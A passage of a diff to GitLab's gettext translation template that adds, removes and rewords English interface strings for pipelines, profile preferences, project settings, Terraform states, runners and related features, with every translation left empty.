-msgid "Pipelines|CI file could not be loaded: %{reason}"
-msgstr ""
-
msgid "Pipelines|Child pipeline"
msgstr ""
@@ -19511,6 +19975,9 @@ msgstr ""
msgid "Pipelines|More Information"
msgstr ""
+msgid "Pipelines|No CI file found in this repository, please add one."
+msgstr ""
+
msgid "Pipelines|No triggers have been created yet. Add one using the form above."
msgstr ""
@@ -19523,6 +19990,9 @@ msgstr ""
msgid "Pipelines|Project cache successfully reset."
msgstr ""
+msgid "Pipelines|Repository does not have a default branch, please set one."
+msgstr ""
+
msgid "Pipelines|Revoke"
msgstr ""
@@ -19532,6 +20002,12 @@ msgstr ""
msgid "Pipelines|Something went wrong while cleaning runners cache."
msgstr ""
+msgid "Pipelines|The CI configuration was not loaded, please try again."
+msgstr ""
+
+msgid "Pipelines|The GitLab CI configuration could not be updated."
+msgstr ""
+
msgid "Pipelines|There are currently no finished pipelines."
msgstr ""
@@ -19757,6 +20233,9 @@ msgstr ""
msgid "Please complete your profile with email address"
msgstr ""
+msgid "Please contact your GitLab administrator if you think this is an error."
+msgstr ""
+
msgid "Please contact your administrator with any questions."
msgstr ""
@@ -19766,9 +20245,6 @@ msgstr ""
msgid "Please convert %{linkStart}them to Git%{linkEnd}, and go through the %{linkToImportFlow} again."
msgstr ""
-msgid "Please convert them to Git on Google Code, and go through the %{link_to_import_flow} again."
-msgstr ""
-
msgid "Please create a password for your new account."
msgstr ""
@@ -19931,18 +20407,12 @@ msgstr ""
msgid "Preferences|Choose what content you want to see on your homepage."
msgstr ""
-msgid "Preferences|Customize integrations with third party services."
-msgstr ""
-
msgid "Preferences|Customize the appearance of the application header and navigation sidebar."
msgstr ""
msgid "Preferences|Display time in 24-hour format"
msgstr ""
-msgid "Preferences|Enable integrated code intelligence on code views"
-msgstr ""
-
msgid "Preferences|For example: 30 mins ago."
msgstr ""
@@ -19952,9 +20422,6 @@ msgstr ""
msgid "Preferences|Instead of all the files changed, show only one file at a time. To switch between files, use the file browser."
msgstr ""
-msgid "Preferences|Integrations"
-msgstr ""
-
msgid "Preferences|Layout width"
msgstr ""
@@ -19976,9 +20443,6 @@ msgstr ""
msgid "Preferences|Show whitespace changes in diffs"
msgstr ""
-msgid "Preferences|Sourcegraph"
-msgstr ""
-
msgid "Preferences|Syntax highlighting theme"
msgstr ""
@@ -20033,6 +20497,9 @@ msgstr ""
msgid "Prevent users from changing their profile name"
msgstr ""
+msgid "Prevent users from modifying merge request approvers list"
+msgstr ""
+
msgid "Prevent users from performing write operations on GitLab while performing maintenance."
msgstr ""
@@ -20162,6 +20629,24 @@ msgstr ""
msgid "Profile Settings"
msgstr ""
+msgid "ProfilePreferences|Customize integrations with third party services."
+msgstr ""
+
+msgid "ProfilePreferences|Enable Gitpod integration"
+msgstr ""
+
+msgid "ProfilePreferences|Enable integrated code intelligence on code views"
+msgstr ""
+
+msgid "ProfilePreferences|Gitpod"
+msgstr ""
+
+msgid "ProfilePreferences|Integrations"
+msgstr ""
+
+msgid "ProfilePreferences|Sourcegraph"
+msgstr ""
+
msgid "ProfileSession|on"
msgstr ""
@@ -20171,6 +20656,9 @@ msgstr ""
msgid "Profiles| You are going to change the username %{currentUsernameBold} to %{newUsernameBold}. Profile and projects will be redirected to the %{newUsername} namespace but this redirect will expire once the %{currentUsername} namespace is registered by another user or group. Please update your Git repository remotes as soon as possible."
msgstr ""
+msgid "Profiles|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "Profiles|%{provider} Active"
msgstr ""
@@ -20201,6 +20689,9 @@ msgstr ""
msgid "Profiles|Bio"
msgstr ""
+msgid "Profiles|Busy"
+msgstr ""
+
msgid "Profiles|Change username"
msgstr ""
@@ -20558,9 +21049,6 @@ msgstr ""
msgid "Project cannot be shared with the group it is in or one of its ancestors."
msgstr ""
-msgid "Project clone URL"
-msgstr ""
-
msgid "Project configuration, excluding integrations"
msgstr ""
@@ -20813,7 +21301,10 @@ msgstr ""
msgid "ProjectSettings|Enable 'Delete source branch' option by default"
msgstr ""
-msgid "ProjectSettings|Enable merge trains and pipelines for merged results"
+msgid "ProjectSettings|Enable merge trains."
+msgstr ""
+
+msgid "ProjectSettings|Enable merged results pipelines."
msgstr ""
msgid "ProjectSettings|Encourage"
@@ -20855,6 +21346,9 @@ msgstr ""
msgid "ProjectSettings|Global"
msgstr ""
+msgid "ProjectSettings|If pipelines for merge requests are enabled in the CI/CD configuration file, pipelines validate the combined results of the source and target branches."
+msgstr ""
+
msgid "ProjectSettings|Internal"
msgstr ""
@@ -20915,9 +21409,6 @@ msgstr ""
msgid "ProjectSettings|Pipelines"
msgstr ""
-msgid "ProjectSettings|Pipelines for merge requests must be enabled in the CI/CD configuration file, or pipelines could be unresolvable or dropped"
-msgstr ""
-
msgid "ProjectSettings|Pipelines must succeed"
msgstr ""
@@ -20939,6 +21430,12 @@ msgstr ""
msgid "ProjectSettings|Require"
msgstr ""
+msgid "ProjectSettings|Requirements"
+msgstr ""
+
+msgid "ProjectSettings|Requirements management system for this project"
+msgstr ""
+
msgid "ProjectSettings|Set the default behavior and availability of this option in merge requests. Changes made are also applied to existing merge requests."
msgstr ""
@@ -21008,6 +21505,9 @@ msgstr ""
msgid "ProjectSettings|View and edit files in this project. Non-project members will only have read access"
msgstr ""
+msgid "ProjectSettings|When approved for merge, merge requests are queued and pipelines validate the combined results of the source and target branches before merge."
+msgstr ""
+
msgid "ProjectSettings|When conflicts arise the user is given the option to rebase"
msgstr ""
@@ -21389,6 +21889,9 @@ msgstr ""
msgid "Promote issue to an epic"
msgstr ""
+msgid "Promote to epic"
+msgstr ""
+
msgid "Promote to group label"
msgstr ""
@@ -21704,6 +22207,9 @@ msgstr ""
msgid "Push project from command line"
msgstr ""
+msgid "Push the result of the merge to GitLab"
+msgstr ""
+
msgid "Push to create a project"
msgstr ""
@@ -21857,6 +22363,9 @@ msgstr ""
msgid "Redirect to SAML provider to test configuration"
msgstr ""
+msgid "Redis"
+msgstr ""
+
msgid "Reduce project visibility"
msgstr ""
@@ -21939,9 +22448,6 @@ msgstr ""
msgid "Registry setup"
msgstr ""
-msgid "Regulate approvals by authors/committers, based on compliance frameworks. Can be changed only at the instance level."
-msgstr ""
-
msgid "Reindexing status"
msgstr ""
@@ -22015,6 +22521,9 @@ msgstr ""
msgid "ReleaseAssetLinkType|Runbooks"
msgstr ""
+msgid "Released date"
+msgstr ""
+
msgid "Releases"
msgstr ""
@@ -22042,9 +22551,6 @@ msgstr ""
msgid "Remediations"
msgstr ""
-msgid "Remember me"
-msgstr ""
-
msgid "Remind later"
msgstr ""
@@ -22249,9 +22755,6 @@ msgstr ""
msgid "Removes time estimate."
msgstr ""
-msgid "Removing integrations is not supported for this project"
-msgstr ""
-
msgid "Removing this group also removes all child projects, including archived projects, and their resources."
msgstr ""
@@ -22267,15 +22770,12 @@ msgstr ""
msgid "Reopen"
msgstr ""
-msgid "Reopen %{display_issuable_type}"
+msgid "Reopen %{issueType}"
msgstr ""
msgid "Reopen epic"
msgstr ""
-msgid "Reopen issue"
-msgstr ""
-
msgid "Reopen milestone"
msgstr ""
@@ -22354,6 +22854,13 @@ msgstr ""
msgid "Reports|%{combinedString} and %{resolvedString}"
msgstr ""
+msgid "Reports|%{recentlyFailed} out of %{failed} failed test has failed more than once in the last 14 days"
+msgstr ""
+
+msgid "Reports|%{recentlyFailed} out of %{failed} failed tests has failed more than once in the last 14 days"
+msgid_plural "Reports|%{recentlyFailed} out of %{failed} failed tests have failed more than once in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Accessibility scanning detected %d issue for the source branch only"
msgid_plural "Reports|Accessibility scanning detected %d issues for the source branch only"
msgstr[0] ""
@@ -22385,6 +22892,10 @@ msgstr ""
msgid "Reports|Execution time"
msgstr ""
+msgid "Reports|Failed %{count} time in %{base_branch} in the last 14 days"
+msgid_plural "Reports|Failed %{count} times in %{base_branch} in the last 14 days"
+msgstr[0] ""
+
msgid "Reports|Failure"
msgstr ""
@@ -22436,6 +22947,9 @@ msgstr ""
msgid "Repositories Analytics"
msgstr ""
+msgid "RepositoriesAnalytics|Average Coverage by Job"
+msgstr ""
+
msgid "RepositoriesAnalytics|Coverage"
msgstr ""
@@ -22466,12 +22980,18 @@ msgstr ""
msgid "RepositoriesAnalytics|Please select projects to display."
msgstr ""
+msgid "RepositoriesAnalytics|Projects with Tests"
+msgstr ""
+
msgid "RepositoriesAnalytics|Test Code Coverage"
msgstr ""
msgid "RepositoriesAnalytics|There was an error fetching the projects."
msgstr ""
+msgid "RepositoriesAnalytics|Total Number of Coverages"
+msgstr ""
+
msgid "Repository"
msgstr ""
@@ -22499,6 +23019,9 @@ msgstr ""
msgid "Repository cleanup has started. You will receive an email once the cleanup operation is complete."
msgstr ""
+msgid "Repository clone URL"
+msgstr ""
+
msgid "Repository files count over the limit"
msgstr ""
@@ -22532,10 +23055,10 @@ msgstr ""
msgid "Repository storage"
msgstr ""
-msgid "Repository sync capacity"
+msgid "Repository synchronization concurrency limit"
msgstr ""
-msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets}"
+msgid "Repository: %{counter_repositories} / Wikis: %{counter_wikis} / Build Artifacts: %{counter_build_artifacts} / LFS: %{counter_lfs_objects} / Snippets: %{counter_snippets} / Packages: %{counter_packages} / Uploads: %{counter_uploads}"
msgstr ""
msgid "RepositorySettingsAccessLevel|Select"
@@ -22651,12 +23174,18 @@ msgstr ""
msgid "Resend it"
msgstr ""
+msgid "Reset"
+msgstr ""
+
msgid "Reset authorization key"
msgstr ""
msgid "Reset authorization key?"
msgstr ""
+msgid "Reset filters"
+msgstr ""
+
msgid "Reset health check access token"
msgstr ""
@@ -22783,6 +23312,9 @@ msgstr ""
msgid "Retry"
msgstr ""
+msgid "Retry job"
+msgstr ""
+
msgid "Retry this job"
msgstr ""
@@ -22820,6 +23352,9 @@ msgstr ""
msgid "Review requested from %{name}"
msgstr ""
+msgid "Review the changes locally"
+msgstr ""
+
msgid "Review the process for configuring service providers in your identity provider — in this case, GitLab is the \"service provider\" or \"relying party\"."
msgstr ""
@@ -22839,6 +23374,9 @@ msgstr[0] ""
msgid "Reviewer(s)"
msgstr ""
+msgid "Reviewers"
+msgstr ""
+
msgid "Reviewing"
msgstr ""
@@ -22908,6 +23446,9 @@ msgstr ""
msgid "Runner cannot be assigned to other projects"
msgstr ""
+msgid "Runner is %{status}, last contact was %{runner_contact} ago"
+msgstr ""
+
msgid "Runner runs jobs from all unassigned projects"
msgstr ""
@@ -22971,12 +23512,6 @@ msgstr ""
msgid "Runners|Description"
msgstr ""
-msgid "Runners|Download Latest Binary"
-msgstr ""
-
-msgid "Runners|Download and Install Binary"
-msgstr ""
-
msgid "Runners|Group"
msgstr ""
@@ -23004,9 +23539,6 @@ msgstr ""
msgid "Runners|Protected"
msgstr ""
-msgid "Runners|Register Runner"
-msgstr ""
-
msgid "Runners|Revision"
msgstr ""
@@ -23109,12 +23641,6 @@ msgstr ""
msgid "Save Push Rules"
msgstr ""
-msgid "Save and test payload"
-msgstr ""
-
-msgid "Save anyway"
-msgstr ""
-
msgid "Save application"
msgstr ""
@@ -23133,7 +23659,7 @@ msgstr ""
msgid "Save pipeline schedule"
msgstr ""
-msgid "Save space and find tags in the Container Registry more easily. Enable the cleanup policy to remove stale tags and keep only the ones you need."
+msgid "Save space and find images in the Container Registry. Remove unneeded tags and keep only the ones you want."
msgstr ""
msgid "Saved scan settings and target site settings which are reusable."
@@ -23190,15 +23716,9 @@ msgstr ""
msgid "Scopes: %{scope_list}"
msgstr ""
-msgid "Score"
-msgstr ""
-
msgid "Scroll down"
msgstr ""
-msgid "Scroll down to %{strong_open}Google Code Project Hosting%{strong_close} and enable the switch on the right."
-msgstr ""
-
msgid "Scroll left"
msgstr ""
@@ -23301,6 +23821,9 @@ msgstr ""
msgid "Search projects..."
msgstr ""
+msgid "Search refs"
+msgstr ""
+
msgid "Search requirements"
msgstr ""
@@ -23340,9 +23863,6 @@ msgstr ""
msgid "SearchAutocomplete|in project %{projectName}"
msgstr ""
-msgid "SearchCodeResults|in"
-msgstr ""
-
msgid "SearchCodeResults|of %{link_to_project}"
msgstr ""
@@ -23411,6 +23931,9 @@ msgstr ""
msgid "Seat Link is disabled, and cannot be configured through this form."
msgstr ""
+msgid "SeatUsage|Seat usage"
+msgstr ""
+
msgid "Seats usage data as of %{last_enqueue_time} (Updated daily)"
msgstr ""
@@ -23597,6 +24120,9 @@ msgstr ""
msgid "SecurityReports|Fuzzing artifacts"
msgstr ""
+msgid "SecurityReports|Go to the %{linkStart}pipelines tab%{linkEnd} to download the security reports"
+msgstr ""
+
msgid "SecurityReports|Hide dismissed"
msgstr ""
@@ -23760,6 +24286,12 @@ msgstr ""
msgid "See the affected projects in the GitLab admin panel"
msgstr ""
+msgid "See vulnerability %{vulnerability_link} for any Remediation details."
+msgstr ""
+
+msgid "See vulnerability %{vulnerability_link} for any Solution details."
+msgstr ""
+
msgid "See what's new at GitLab"
msgstr ""
@@ -23877,9 +24409,6 @@ msgstr ""
msgid "Select projects"
msgstr ""
-msgid "Select projects you want to import."
-msgstr ""
-
msgid "Select required regulatory standard"
msgstr ""
@@ -24222,12 +24751,6 @@ msgstr ""
msgid "Set the milestone to %{milestone_reference}."
msgstr ""
-msgid "Set the number of concurrent requests this secondary node will make to the primary node while backfilling."
-msgstr ""
-
-msgid "Set the synchronization and verification capacity for the secondary node."
-msgstr ""
-
msgid "Set the timeout in seconds to send a secondary node status to the primary and IPs allowed for the secondary nodes."
msgstr ""
@@ -24270,21 +24793,30 @@ msgstr ""
msgid "Set up your project to automatically push and/or pull changes to/from another repository. Branches, tags, and commits will be synced automatically."
msgstr ""
+msgid "Set verification limit and frequency."
+msgstr ""
+
msgid "Set weight"
msgstr ""
msgid "Set weight to %{weight}."
msgstr ""
-msgid "Set what should be replicated by choosing specific projects or groups by the secondary node."
+msgid "Set what should be replicated by this secondary node."
msgstr ""
msgid "SetPasswordToCloneLink|set a password"
msgstr ""
+msgid "SetStatusModal|\"Busy\" will be shown next to your name"
+msgstr ""
+
msgid "SetStatusModal|Add status emoji"
msgstr ""
+msgid "SetStatusModal|Busy"
+msgstr ""
+
msgid "SetStatusModal|Clear status"
msgstr ""
@@ -24303,6 +24835,9 @@ msgstr ""
msgid "SetStatusModal|Sorry, we weren't able to set your status. Please try again later."
msgstr ""
+msgid "SetStatusModal|Status updated"
+msgstr ""
+
msgid "SetStatusModal|What's your status?"
msgstr ""
@@ -24399,9 +24934,6 @@ msgstr ""
msgid "Should you ever lose your phone or access to your one time password secret, each of these recovery codes can be used one time each to regain access to your account. Please save them in a safe place, or you %{b_start}will%{b_end} lose access to your account."
msgstr ""
-msgid "Show Runner installation instructions"
-msgstr ""
-
msgid "Show all activity"
msgstr ""
@@ -24456,13 +24988,16 @@ msgstr ""
msgid "Show list"
msgstr ""
-msgid "Show me everything"
+msgid "Show me advanced features"
msgstr ""
msgid "Show me how to add a pipeline"
msgstr ""
-msgid "Show me more advanced stuff"
+msgid "Show me the basics"
+msgstr ""
+
+msgid "Show one file at a time"
msgstr ""
msgid "Show only direct members"
@@ -24490,6 +25025,9 @@ msgid "Showing %d event"
msgid_plural "Showing %d events"
msgstr[0] ""
+msgid "Showing %{conflict_start}%{conflicts_text}%{strong_end} between %{ref_start}%{source_branch}%{strong_end} and %{ref_start}%{target_branch}%{strong_end}"
+msgstr ""
+
msgid "Showing %{count} of %{total} projects"
msgstr ""
@@ -24584,10 +25122,13 @@ msgstr ""
msgid "Sign-up restrictions"
msgstr ""
-msgid "SignUp|First Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|First name is too long (maximum is %{max_length} characters)."
+msgstr ""
+
+msgid "SignUp|Last name is too long (maximum is %{max_length} characters)."
msgstr ""
-msgid "SignUp|Last Name is too long (maximum is %{max_length} characters)."
+msgid "SignUp|Minimum length is %{minimum_password_length} characters."
msgstr ""
msgid "SignUp|Username is too long (maximum is %{max_length} characters)."
@@ -24638,6 +25179,9 @@ msgstr ""
msgid "Skipped"
msgstr ""
+msgid "Skipped deployment to"
+msgstr ""
+
msgid "Slack application"
msgstr ""
@@ -24749,9 +25293,6 @@ msgstr ""
msgid "Some of the designs you tried uploading did not change:"
msgstr ""
-msgid "Some of your epics may not be visible. A roadmap is limited to the first 1,000 epics, in your selected sort order."
-msgstr ""
-
msgid "Someone edited the issue at the same time you did. Please check out %{linkStart}the issue%{linkEnd} and make sure your changes will not unintentionally remove theirs."
msgstr ""
@@ -24797,7 +25338,7 @@ msgstr ""
msgid "Something went wrong while archiving a requirement."
msgstr ""
-msgid "Something went wrong while closing the %{issuable}. Please try again later"
+msgid "Something went wrong while closing the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while creating a requirement."
@@ -24878,10 +25419,13 @@ msgstr ""
msgid "Something went wrong while performing the action."
msgstr ""
+msgid "Something went wrong while promoting the issue to an epic. Please try again."
+msgstr ""
+
msgid "Something went wrong while reopening a requirement."
msgstr ""
-msgid "Something went wrong while reopening the %{issuable}. Please try again later"
+msgid "Something went wrong while reopening the merge request. Please try again later"
msgstr ""
msgid "Something went wrong while resolving this discussion. Please try again."
@@ -25163,10 +25707,10 @@ msgstr ""
msgid "SourcegraphPreferences|This feature is experimental."
msgstr ""
-msgid "SourcegraphPreferences|Uses %{link_start}Sourcegraph.com%{link_end}."
+msgid "SourcegraphPreferences|Uses %{linkStart}Sourcegraph.com%{linkEnd}."
msgstr ""
-msgid "SourcegraphPreferences|Uses a custom %{link_start}Sourcegraph instance%{link_end}."
+msgid "SourcegraphPreferences|Uses a custom %{linkStart}Sourcegraph instance%{linkEnd}."
msgstr ""
msgid "Spam Logs"
@@ -25190,6 +25734,9 @@ msgstr ""
msgid "Specify the following URL during the Runner setup:"
msgstr ""
+msgid "Speed up your pipelines with Needs relationships"
+msgstr ""
+
msgid "Squash commit message"
msgstr ""
@@ -25307,9 +25854,6 @@ msgstr ""
msgid "Start thread & reopen %{noteable_name}"
msgstr ""
-msgid "Start using Directed Acyclic Graphs (DAG)"
-msgstr ""
-
msgid "Start your Free Gold Trial"
msgstr ""
@@ -25469,6 +26013,18 @@ msgstr ""
msgid "Stay updated about the performance and health of your environment by configuring Prometheus to monitor your deployments."
msgstr ""
+msgid "Step 1."
+msgstr ""
+
+msgid "Step 2."
+msgstr ""
+
+msgid "Step 3."
+msgstr ""
+
+msgid "Step 4."
+msgstr ""
+
msgid "Still, we recommend keeping a backup saved somewhere. Otherwise, if you ever need it and have lost it, you will need to request GitLab Inc. to send it to you again."
msgstr ""
@@ -25637,6 +26193,9 @@ msgstr ""
msgid "SubscriptionTable|Next invoice"
msgstr ""
+msgid "SubscriptionTable|Renew"
+msgstr ""
+
msgid "SubscriptionTable|Seats currently in use"
msgstr ""
@@ -25646,6 +26205,9 @@ msgstr ""
msgid "SubscriptionTable|Seats owed"
msgstr ""
+msgid "SubscriptionTable|See usage"
+msgstr ""
+
msgid "SubscriptionTable|Subscription end date"
msgstr ""
@@ -25694,6 +26256,9 @@ msgstr ""
msgid "Succeeded"
msgstr ""
+msgid "Successful purchase image"
+msgstr ""
+
msgid "Successfully activated"
msgstr ""
@@ -25868,6 +26433,9 @@ msgstr ""
msgid "Synchronization disabled"
msgstr ""
+msgid "Synchronization settings"
+msgstr ""
+
msgid "Syncing…"
msgstr ""
@@ -26036,9 +26604,6 @@ msgstr ""
msgid "Telephone number"
msgstr ""
-msgid "Telephone number (Optional)"
-msgstr ""
-
msgid "Template"
msgstr ""
@@ -26078,6 +26643,9 @@ msgstr ""
msgid "Terms of Service and Privacy Policy"
msgstr ""
+msgid "Terraform"
+msgstr ""
+
msgid "Terraform|%{number} Terraform report failed to generate"
msgid_plural "Terraform|%{number} Terraform reports failed to generate"
msgstr[0] ""
@@ -26086,24 +26654,48 @@ msgid "Terraform|%{number} Terraform report was generated in your pipelines"
msgid_plural "Terraform|%{number} Terraform reports were generated in your pipelines"
msgstr[0] ""
+msgid "Terraform|%{user} updated %{timeAgo}"
+msgstr ""
+
msgid "Terraform|A Terraform report failed to generate."
msgstr ""
msgid "Terraform|A Terraform report was generated in your pipelines."
msgstr ""
+msgid "Terraform|An error occurred while loading your Terraform States"
+msgstr ""
+
+msgid "Terraform|Find out how to use the %{linkStart}GitLab managed Terraform State%{linkEnd}"
+msgstr ""
+
msgid "Terraform|Generating the report caused an error."
msgstr ""
+msgid "Terraform|Get started with Terraform"
+msgstr ""
+
+msgid "Terraform|Locked"
+msgstr ""
+
+msgid "Terraform|Locked by %{user} %{timeAgo}"
+msgstr ""
+
msgid "Terraform|Reported Resource Changes: %{addNum} to add, %{changeNum} to change, %{deleteNum} to delete"
msgstr ""
+msgid "Terraform|States"
+msgstr ""
+
msgid "Terraform|The Terraform report %{name} failed to generate."
msgstr ""
msgid "Terraform|The Terraform report %{name} was generated in your pipelines."
msgstr ""
+msgid "Terraform|Unknown User"
+msgstr ""
+
msgid "Test"
msgstr ""
@@ -26123,6 +26715,12 @@ msgstr[0] ""
msgid "Test settings"
msgstr ""
+msgid "TestCases|Move test case"
+msgstr ""
+
+msgid "TestCases|Moving test case"
+msgstr ""
+
msgid "TestCases|New Test Case"
msgstr ""
@@ -26150,6 +26748,9 @@ msgstr ""
msgid "TestCases|Something went wrong while marking test case todo as done."
msgstr ""
+msgid "TestCases|Something went wrong while moving test case."
+msgstr ""
+
msgid "TestCases|Something went wrong while updating the test case labels."
msgstr ""
@@ -26180,6 +26781,9 @@ msgstr ""
msgid "TestHooks|Ensure the project has notes."
msgstr ""
+msgid "TestHooks|Ensure the project has releases."
+msgstr ""
+
msgid "TestHooks|Ensure the wiki is enabled and has pages."
msgstr ""
@@ -26274,9 +26878,6 @@ msgstr ""
msgid "The Prometheus server responded with \"bad request\". Please check your queries are correct and are supported in your Prometheus version. %{documentationLink}"
msgstr ""
-msgid "The Security Dashboard shows the results of the last successful pipeline run on the default branch."
-msgstr ""
-
msgid "The URL defined on the primary node that secondary nodes should use to contact it."
msgstr ""
@@ -26286,10 +26887,10 @@ msgstr ""
msgid "The URL to use for connecting to Elasticsearch. Use a comma-separated list to support clustering (e.g., \"http://localhost:9200, http://localhost:9201\")."
msgstr ""
-msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
+msgid "The Vulnerability Report shows the results of the last successful pipeline run on the default branch."
msgstr ""
-msgid "The above settings apply to all projects with the selected compliance framework(s)."
+msgid "The X509 Certificate to use when mutual TLS is required to communicate with the external authorization service. If left blank, the server certificate is still validated when accessing over HTTPS."
msgstr ""
msgid "The application will be used where the client secret can be kept confidential. Native mobile apps and Single Page Apps are considered non-confidential."
@@ -26358,9 +26959,6 @@ msgstr ""
msgid "The download link will expire in 24 hours."
msgstr ""
-msgid "The entered user map is not a valid JSON user map."
-msgstr ""
-
msgid "The errors we encountered were:"
msgstr ""
@@ -26401,6 +26999,9 @@ msgstr ""
msgid "The form contains the following error:"
msgstr ""
+msgid "The form contains the following errors:"
+msgstr ""
+
msgid "The form contains the following warning:"
msgstr ""
@@ -26449,6 +27050,12 @@ msgstr ""
msgid "The issue stage shows the time it takes from creating an issue to assigning the issue to a milestone, or add the issue to a list on your Issue Board. Begin creating issues to see data for this stage."
msgstr ""
+msgid "The issue was successfully promoted to an epic. Redirecting to epic..."
+msgstr ""
+
+msgid "The license for Deploy Board is required to use this feature."
+msgstr ""
+
msgid "The license key is invalid. Make sure it is exactly as you received it from GitLab Inc."
msgstr ""
@@ -26494,6 +27101,9 @@ msgstr ""
msgid "The number of times an upload record could not find its file"
msgstr ""
+msgid "The page could not be displayed because it timed out."
+msgstr ""
+
msgid "The parent epic is confidential and can only contain confidential epics and issues"
msgstr ""
@@ -26605,6 +27215,9 @@ msgstr ""
msgid "The status of the table below only applies to the default branch and is based on the %{linkStart}latest pipeline%{linkEnd}. Once you've enabled a scan for the default branch, any subsequent feature branch you create will include the scan."
msgstr ""
+msgid "The tag name can't be changed for an existing release."
+msgstr ""
+
msgid "The testing stage shows the time GitLab CI takes to run every pipeline for the related merge request. The data will automatically be added after your first pipeline finishes running."
msgstr ""
@@ -26614,7 +27227,7 @@ msgstr ""
msgid "The update action will time out after %{number_of_minutes} minutes. For big repositories, use a clone/push combination."
msgstr ""
-msgid "The uploaded file is not a valid Google Takeout archive."
+msgid "The uploaded file was invalid. Supported file extensions are %{extensions}."
msgstr ""
msgid "The usage ping is disabled, and cannot be configured through this form."
@@ -26626,9 +27239,6 @@ msgstr ""
msgid "The user map has been saved. Continue by selecting the projects you want to import."
msgstr ""
-msgid "The user map is a JSON document mapping the Google Code users that participated on your projects to the way their email addresses and usernames will be imported into GitLab. You can change this by changing the value on the right hand side of %{code_open}:%{code_close}. Be sure to preserve the surrounding double quotes, other punctuation and the email address or username on the left hand side."
-msgstr ""
-
msgid "The user map is a mapping of the FogBugz users that participated on your projects to the way their email address and usernames will be imported into GitLab. You can change this by populating the table below."
msgstr ""
@@ -26644,6 +27254,9 @@ msgstr ""
msgid "The value of the provided variable exceeds the %{count} character limit"
msgstr ""
+msgid "The visualization will appear in this tab when the CI/CD configuration file is populated with valid syntax."
+msgstr ""
+
msgid "The vulnerability is no longer detected. Verify the vulnerability has been fixed or removed before changing its status."
msgstr ""
@@ -26731,6 +27344,9 @@ msgstr ""
msgid "There are no variables yet."
msgstr ""
+msgid "There are running deployments on the environment. Please retry later."
+msgstr ""
+
msgid "There is a limit of %{ci_project_subscriptions_limit} subscriptions from or to a project."
msgstr ""
@@ -27046,9 +27662,6 @@ msgstr ""
msgid "This commit was signed with a %{strong_open}verified%{strong_close} signature and the committer email is verified to belong to the same user."
msgstr ""
-msgid "This commit was signed with a <strong>verified</strong> signature and the committer email is verified to belong to the same user."
-msgstr ""
-
msgid "This commit was signed with a different user's verified signature."
msgstr ""
@@ -27058,9 +27671,6 @@ msgstr ""
msgid "This commit was signed with an %{strong_open}unverified%{strong_close} signature."
msgstr ""
-msgid "This commit was signed with an <strong>unverified</strong> signature."
-msgstr ""
-
msgid "This content could not be displayed because %{reason}. You can %{options} instead."
msgstr ""
@@ -27103,6 +27713,9 @@ msgstr ""
msgid "This environment is being re-deployed"
msgstr ""
+msgid "This environment's canary ingress has been updated recently. Please retry later."
+msgstr ""
+
msgid "This epic already has the maximum number of child epics."
msgstr ""
@@ -27166,7 +27779,7 @@ msgstr ""
msgid "This is the highest peak of users on your installation since the license started."
msgstr ""
-msgid "This is the number of currently active users on your installation, and this is the minimum number you need to purchase when you renew your license."
+msgid "This is the number of %{billable_users_link_start}billable users%{link_end} on your installation, and this is the minimum number you need to purchase when you renew your license."
msgstr ""
msgid "This is your current session"
@@ -27175,9 +27788,6 @@ msgstr ""
msgid "This issue is currently blocked by the following issues:"
msgstr ""
-msgid "This issue is currently blocked by the following issues: %{issues}."
-msgstr ""
-
msgid "This issue is in a child epic of the filtered epic"
msgstr ""
@@ -27292,7 +27902,7 @@ msgstr ""
msgid "This merge request is locked."
msgstr ""
-msgid "This merge request is still a work in progress."
+msgid "This merge request is still a draft."
msgstr ""
msgid "This merge request was merged. To apply this suggestion, edit this file directly."
@@ -27313,9 +27923,6 @@ msgstr ""
msgid "This page sends a payload. Go back to the events page to see a newly created event."
msgstr ""
-msgid "This pipeline does not use the %{codeStart}needs%{codeEnd} keyword and can't be represented as a directed acyclic graph."
-msgstr ""
-
msgid "This pipeline makes use of a predefined CI/CD configuration enabled by %{b_open}Auto DevOps.%{b_close}"
msgstr ""
@@ -27394,6 +28001,9 @@ msgstr ""
msgid "This user cannot be unlocked manually from GitLab"
msgstr ""
+msgid "This user does not have a pending request"
+msgstr ""
+
msgid "This user has no active %{type}."
msgstr ""
@@ -27439,6 +28049,9 @@ msgstr ""
msgid "Threat Monitoring"
msgstr ""
+msgid "ThreatMonitoring|Alerts"
+msgstr ""
+
msgid "ThreatMonitoring|All Environments"
msgstr ""
@@ -27739,6 +28352,9 @@ msgstr ""
msgid "Timeout connecting to the Google API. Please try again."
msgstr ""
+msgid "Timezone"
+msgstr ""
+
msgid "Time|hr"
msgid_plural "Time|hrs"
msgstr[0] ""
@@ -27753,6 +28369,9 @@ msgstr ""
msgid "Tip:"
msgstr ""
+msgid "Tip: add a"
+msgstr ""
+
msgid "Title"
msgstr ""
@@ -27888,7 +28507,7 @@ msgstr ""
msgid "To use Gitpod you must first enable the feature in the integrations section of your %{user_prefs}."
msgstr ""
-msgid "To view all %{scannedResourcesCount} scanned URLs, please download the CSV file"
+msgid "To view all %{scannedResourcesCount} scanned URLs, %{linkStart}please download the CSV file%{linkEnd}"
msgstr ""
msgid "To view instance-level analytics, ask an admin to turn on %{docLinkStart}usage ping%{docLinkEnd}."
@@ -27987,6 +28606,9 @@ msgstr ""
msgid "Too many projects enabled. You will need to manage them via the console or the API."
msgstr ""
+msgid "Too many users specified (limit is %{user_limit})"
+msgstr ""
+
msgid "Too much data"
msgstr ""
@@ -28329,6 +28951,9 @@ msgstr ""
msgid "Unable to convert Kubernetes logs encoding to UTF-8"
msgstr ""
+msgid "Unable to create link to vulnerability"
+msgstr ""
+
msgid "Unable to fetch unscanned projects"
msgstr ""
@@ -28395,7 +29020,7 @@ msgstr ""
msgid "Unassigned"
msgstr ""
-msgid "Unblock"
+msgid "Unauthenticated request rate limit"
msgstr ""
msgid "Undo"
@@ -28467,10 +29092,10 @@ msgstr ""
msgid "Unlocks the discussion."
msgstr ""
-msgid "Unmarked this %{noun} as Work In Progress."
+msgid "Unmarked this %{noun} as a draft."
msgstr ""
-msgid "Unmarks this %{noun} as Work In Progress."
+msgid "Unmarks this %{noun} as a draft."
msgstr ""
